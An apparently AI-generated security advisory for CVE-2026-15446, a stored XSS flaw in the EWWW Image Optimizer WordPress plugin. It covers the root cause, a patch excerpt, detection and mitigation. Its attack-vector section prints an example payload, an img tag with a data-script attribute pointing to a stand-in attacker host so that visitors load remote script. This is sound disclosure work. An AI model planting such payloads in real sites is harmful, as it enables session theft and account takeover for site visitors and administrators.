CVE-2026-15446 Overview
CVE-2026-15446 is a Stored Cross-Site Scripting (XSS) vulnerability in the EWWW Image Optimizer plugin for WordPress. The flaw affects all versions up to and including 8.7.3. It stems from insufficient input sanitization and output escaping in how the plugin's bundled lazysizesls.unveilhooks addon processes the data-script attribute on elements with class='lazyload'. Authenticated attackers with contributor-level access or above can inject arbitrary JavaScript into post content. The payload executes in the browser of any user who views the affected page. The vulnerability is tracked under CWE-79.
Critical Impact
Contributor-level users can store JavaScript payloads that execute in every visitor's browser, enabling session theft, privilege escalation via administrator-context requests, and site defacement.
Affected Products
- EWWW Image Optimizer plugin for WordPress — all versions ≤ 8.7.3
- WordPress sites using the plugin's bundled lazysizesls.unveilhooks.js lazy-load functionality
- Multisite installations where contributor-level accounts can author posts
Discovery Timeline
- 2026-08-19 - CVE-2026-15446 published to NVD
- 2026-08-20 - Last updated in NVD database
Technical Details for CVE-2026-15446
Vulnerability Analysis
The EWWW Image Optimizer ships a lazy-loading engine based on the lazysizes library, extended with the ls.unveilhooks addon. This addon inspects DOM elements carrying the lazyload CSS class and reads the data-script attribute. When the element becomes visible, the addon dynamically creates a <script> element and sets its src to the URL supplied through data-script. The plugin does not restrict which domains may appear in data-script, and it does not sanitize or escape the attribute value on output. A contributor can embed a crafted <img> element in post content and cause the front-end runtime to load and execute attacker-controlled JavaScript when any visitor views the page.
Root Cause
The root cause is missing allow-list validation on the data-script attribute inside classes/class-lazy-load.php combined with the unsafe dynamic script injection in includes/ls.unveilhooks.js at lines 116 and 178. The plugin trusts attribute values that originate from user-supplied post content and treats them as legitimate script source URLs at render time.
Attack Vector
A contributor authenticates to WordPress and creates or edits a post containing an image tag such as <img class="lazyload" data-script="https://attacker.tld/x.js" src="...">. After the post is published or previewed, the lazy-load runtime in the visitor's browser reads data-script, injects a new <script> element pointing to the attacker's URL, and the attacker's JavaScript executes in the site origin. The scope-changed CVSS vector reflects that the payload runs in the security context of every viewer, including administrators.
// Security patch — classes/class-lazy-load.php
// Source: https://github.com/nosilver4u/ewww-image-optimizer/commit/4488aafaee9212db370a5ed2dcb9bad7912b897d
'var eio_lazy_vars = ' .
\wp_json_encode(
array(
'bg_min_dpr' => ( \defined( 'EIO_LL_BG_MIN_DPR' ) && EIO_LL_BG_MIN_DPR ? EIO_LL_BG_MIN_DPR : 1.1 ),
'exactdn_domain' => ( $this->parsing_exactdn ? $this->exactdn_domain : '' ),
'safe_domains' => \apply_filters( 'eio_lazy_safe_domains', $this->allowed_domains ),
'skip_autoscale' => ( \defined( 'EIO_LL_AUTOSCALE' ) && ! EIO_LL_AUTOSCALE ? 1 : 0 ),
'threshold' => (int) $threshold > 50 ? (int) $threshold : 0,
'use_dpr' => (int) $this->get_option( 'exactdn_hidpi' ),
)
)
The patch introduces a safe_domains list exposed to the client-side runtime via the eio_lazy_safe_domains filter. The ls.unveilhooks addon uses this allow-list to reject data-script URLs pointing to domains outside the site's trusted set. See the GitHub commit and the Wordfence advisory for full context.
Detection Methods for CVE-2026-15446
Indicators of Compromise
- Post content containing <img> or other elements with class="lazyload" and a data-script attribute referencing external domains.
- Outbound browser requests from site visitors to unexpected script hosts sourced from within page HTML rather than <script src=...> tags.
- New or modified posts authored by contributor-level accounts containing raw HTML attributes not typically produced by the block editor.
- Content Security Policy violation reports referencing dynamically injected script elements on pages rendered by EWWW Image Optimizer.
Detection Strategies
- Query the wp_posts table for post_content matching data-script= combined with lazyload to surface stored payloads before publication.
- Inspect front-end DOM at runtime for <script> elements created after page load whose src does not match the site's asset domains.
- Correlate authenticated WordPress REST or XML-RPC edit events from contributor accounts with subsequent outbound traffic to unfamiliar script domains.
Monitoring Recommendations
- Enable WordPress audit logging for post creation and updates by non-administrator roles, focusing on inserted raw HTML attributes.
- Deploy a strict Content Security Policy that restricts script-src to known domains and forwards violation reports for review.
- Monitor web server access logs for referer patterns indicating exploitation of admin-viewed pages containing stored payloads.
How to Mitigate CVE-2026-15446
Immediate Actions Required
- Upgrade EWWW Image Optimizer to the patched release that includes commit 4488aafa (plugin version defined as EWWW_IMAGE_OPTIMIZER_VERSION873.05 or higher).
- Audit existing post content for stored data-script attributes on lazy-loaded elements and remove any that reference untrusted domains.
- Review contributor and author accounts, rotating credentials for accounts that show unexpected editing activity.
Patch Information
The fix is delivered in GitHub commit 4488aafa. It bumps the plugin version constant to 873.05 and introduces a safe_domains allow-list, exposed through the eio_lazy_safe_domains filter, that the ls.unveilhooks client-side code consults before instantiating a <script> element from a data-script attribute. Site administrators should also review the Wordfence advisory for downstream distribution status.
Workarounds
- Temporarily disable the EWWW Image Optimizer lazy-load feature in plugin settings until the patched version is installed.
- Restrict contributor and author role capabilities that permit raw HTML in post content, or require editorial review before publishing posts from these roles.
- Deploy a Content Security Policy limiting script-src to first-party and known CDN domains to block execution of externally hosted attacker scripts.
# Example Content Security Policy header to block untrusted script sources
Header set Content-Security-Policy "default-src 'self'; script-src 'self' https://your-cdn.example.com; object-src 'none'; report-uri /csp-report"
Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.

